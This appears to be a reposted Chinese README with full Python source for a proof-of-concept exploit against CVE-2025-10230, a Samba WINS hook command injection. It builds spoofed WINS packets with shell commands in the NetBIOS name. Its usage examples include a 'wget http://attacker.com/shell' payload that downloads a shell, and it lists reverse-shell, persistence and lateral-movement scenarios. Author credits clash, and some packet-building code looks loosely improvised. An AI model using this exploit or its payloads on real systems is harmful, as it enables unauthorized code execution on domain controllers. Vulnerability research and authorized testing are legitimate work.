Samba WINS 漏洞利用与防御全解析
项目标题与描述
CVE-2025-10230 PoC - Samba WINS Hook 命令注入漏洞验证工具
本项目是一个针对CVE-2025-10230漏洞的概念验证(PoC)脚本。该漏洞存在于Samba的WINS hook处理机制中,当Samba作为AD域控制器并启用WINS支持时,攻击者可通过注入恶意NetBIOS名称执行任意命令。
关键信息:
- 严重程度:CRITICAL (CVSS 3.1: 10.0)
- 漏洞类型:未授权远程代码执行(RCE) via 命令注入
- 受影响版本:Samba 4.0+ 作为AD域控制器,且启用了WINS和wins hook
- 发现时间:2025年10月由Igor Morgenstern报告
功能特性
核心功能
- 恶意数据包构造:自动生成包含注入payload的WINS注册请求数据包
- NetBIOS名称注入:通过未经验证的NetBIOS名称字段注入Shell命令
- Scapy集成:使用Scapy库构建和发送自定义UDP数据包
- 参数化payload:支持自定义Shell命令作为注入payload
技术特点
- 协议模拟:模拟RFC 1002兼容的WINS名称注册协议
- IP欺骗支持:可指定源IP地址进行数据包伪造
- 详细输出:提供执行过程的详细状态信息和预期效果
- 错误处理:包含基本的异常处理和用户反馈
使用场景
- 安全研究人员验证漏洞存在性
- 渗透测试人员评估Samba环境安全性
- 安全运维人员理解攻击原理以加强防御
- 教育培训中的网络安全实验环境
安装指南
系统要求
- Python 3.x
- Root/sudo权限(用于原始套接字访问)
- Linux/Unix操作系统
依赖安装
# 安装Scapy网络数据包操作库pipinstallscapy# 或通过系统包管理器sudoapt-getinstallpython3-scapy# Debian/Ubuntusudoyuminstallpython3-scapy# RHEL/CentOS安装步骤
- 克隆或下载本PoC脚本
- 确保具有执行权限:
chmod+x CVE-2025-10230.py - 使用root权限运行(需要原始套接字):
sudopython3 CVE-2025-10230.py<target_ip>
平台注意事项
- 仅在Linux/Unix系统上测试
- 需要配置正确的网络接口(默认为eth0)
- 目标系统必须运行易受攻击的Samba配置
- 重要:仅在授权的测试环境中使用
使用说明
基础用法
# 最基本用法:向目标发送默认payloadsudopython3 CVE-2025-10230.py192.168.1.10# 使用自定义payloadsudopython3 CVE-2025-10230.py192.168.1.10 --payload"; wget http://attacker.com/shell -O /tmp/shell"# 指定源IP和启用详细输出sudopython3 CVE-2025-10230.py192.168.1.10 --src_ip192.168.1.100 --verbose参数说明
target_ip:易受攻击的Samba AD域控制器IP地址(必需)--payload:要注入的Shell命令(默认:; id > /tmp/injected_by_cve.txt 2>&1)--src_ip:数据包中使用的伪造源IP(默认:192.168.1.100)--verbose:启用Scapy的详细输出模式
验证结果
成功利用后,检查目标系统:
- 查看命令执行结果:
cat/tmp/injected_by_cve.txt - 检查Samba日志:
tail-f /var/log/samba/log.smbd
典型攻击场景
- 信息收集:执行
id、whoami等命令获取系统信息 - 持久化访问:下载并执行反向Shell
- 权限提升:利用系统漏洞获取root权限
- 横向移动:从域控制器攻击域内其他系统
核心代码
1. 主函数与参数解析
#!/usr/bin/env python3# -*- coding: utf-8 -*-# Author: B1ack4sh ==> IRtmVR00ISVkJPN1GQEMZ1VtVFRu""" PoC for CVE-2025-10230 - Samba WINS Hook Command Injection =========================================================== This script demonstrates the command injection vulnerability in Samba's WINS hook handling when running as an AD Domain Controller with WINS support enabled. Usage: python3 CVE-2025-10230.py <target_ip> [--payload <cmd>] [--verbose] Requirements: - scapy (pip install scapy) - Run as root/sudo for raw socket access Vulnerability: Unsanitized NetBIOS names in WINS registrations are passed to the 'wins hook' script, allowing command injection via shell metacharacters. Author: dptsec (based on Samba advisory) License: For educational/testing purposes only. ⚠️ DO NOT USE ON PRODUCTION SYSTEMS! """importargparseimportsysfromscapy.allimportIP,UDP,send,Raw,sr1fromscapy.layers.inetimportIPasIP_scapyimportsocketimportstruct2. WINS注册数据包构造函数
defcraft_wins_registration_packet(nb_name:str,src_ip:str="127.0.0.1",target_ip:str=None):""" Crafts a WINS Name Registration Request packet with injected NB name. WINS Protocol (RFC 1002 compliant, simplified for registration). OpCode: 0x0B (Register) NB Name: Padded to 15 chars + null, but injection via trailing metachars. """# Transaction ID (arbitrary)transaction_id=struct.pack('>H',0x1234)# Flags: Standard query (0x0000), OpCode Register (0x0B in high bits, but simplified)flags=struct.pack('>H',0x000B)# B-node, Register# Questions: 1questions=struct.pack('>H',1)# Answer RRs: 0answer_rrs=struct.pack('>H',0)# Authority RRs: 0authority_rrs=struct.pack('>H',0)# Additional RRs: 0additional_rrs=struct.pack('>H',0)# Headerheader=transaction_id+flags+questions+answer_rrs+authority_rrs+additional_rrs# Question Section: NetBIOS Name# NB Name encoding: 18 chars of 0xC0 (labels) + length + name chars (0x41 base32-ish, but raw for injection)# For vuln: Use raw string with shell chars – vuln doesn't validate.nb_raw=nb_name.encode('ascii')[:15].ljust(15,b'\x00')# Truncate/pad to 15nb_section=b'\xC0'*2+struct.pack('B',len(nb_raw))+nb_raw+b'\x00'# Compressed pointer hack + name# QType: NB (0x0020), QClass: IN (0x0001)qtype=struct.pack('>H',0x0020)qclass=struct.pack('>H',0x0001)question=nb_section+qtype+qclass# No answers for registration requestpacket_payload=header+question# Wrap in UDP/IPip_layer=IP_scapy(src=src_ip,dst=target_ip)udp_layer=UDP(sport=137,dport=42)# NBNS src, WINS dst (UDP/42 for WINS)full_packet=ip_layer/udp_layer/Raw(load=packet_payload)returnfull_packet3. 主执行流程
defmain():parser=argparse.ArgumentParser(description="CVE-2025-10230 PoC - Samba WINS Injection")parser.add_argument("target_ip",help="IP of vulnerable Samba AD DC")parser.add_argument("--payload",default="; id > /tmp/injected_by_cve.txt 2>&1",help="Shell command to inject (appended after fake NB name)")parser.add_argument("--src_ip",default="192.168.1.100",help="Spoofed source IP in packet")parser.add_argument("--verbose","-v",action="store_true",help="Verbose Scapy output")args=parser.parse_args()# Construct malicious NB name: Fake + payload (keep NB part short)fake_nb="POC-"# Legit-looking prefixmalicious_name=fake_nb+args.payload[:10]# Truncate to fit ~15 char NB limit, but vuln allows overflow-ishprint(f"🔥 CVE-2025-10230 PoC Launching...")print(f"🎯 Target:{args.target_ip}(UDP/42 - WINS)")print(f"💉 Malicious NB Name: '{malicious_name}'")print(f"📝 Expected on Target: Execution of '{args.payload}' via hook script")print(f"🕵️ Post-exploit: Check target /tmp/injected_by_cve.txt or /var/log/samba/log.smbd")print("-"*60)try:pkt=craft_wins_registration_packet(malicious_name,args.src_ip,args.target_ip)send(pkt,verbose=args.verbose,iface="eth0")# Adjust iface if neededprint("💥 Packet sent! If vulnerable, hook should fire. Monitor target logs/FS. 🚨")exceptExceptionase:print(f"❌ Error sending packet:{e}")sys.exit(1)if__name__=="__main__":iflen(sys.argv)<2:print("Usage: sudo python3 CVE-2025-10230.py <target_ip> [--payload ';cmd']")sys.exit(1)main()6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5xSrVUGT9nI1uf8R2+ZD25
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)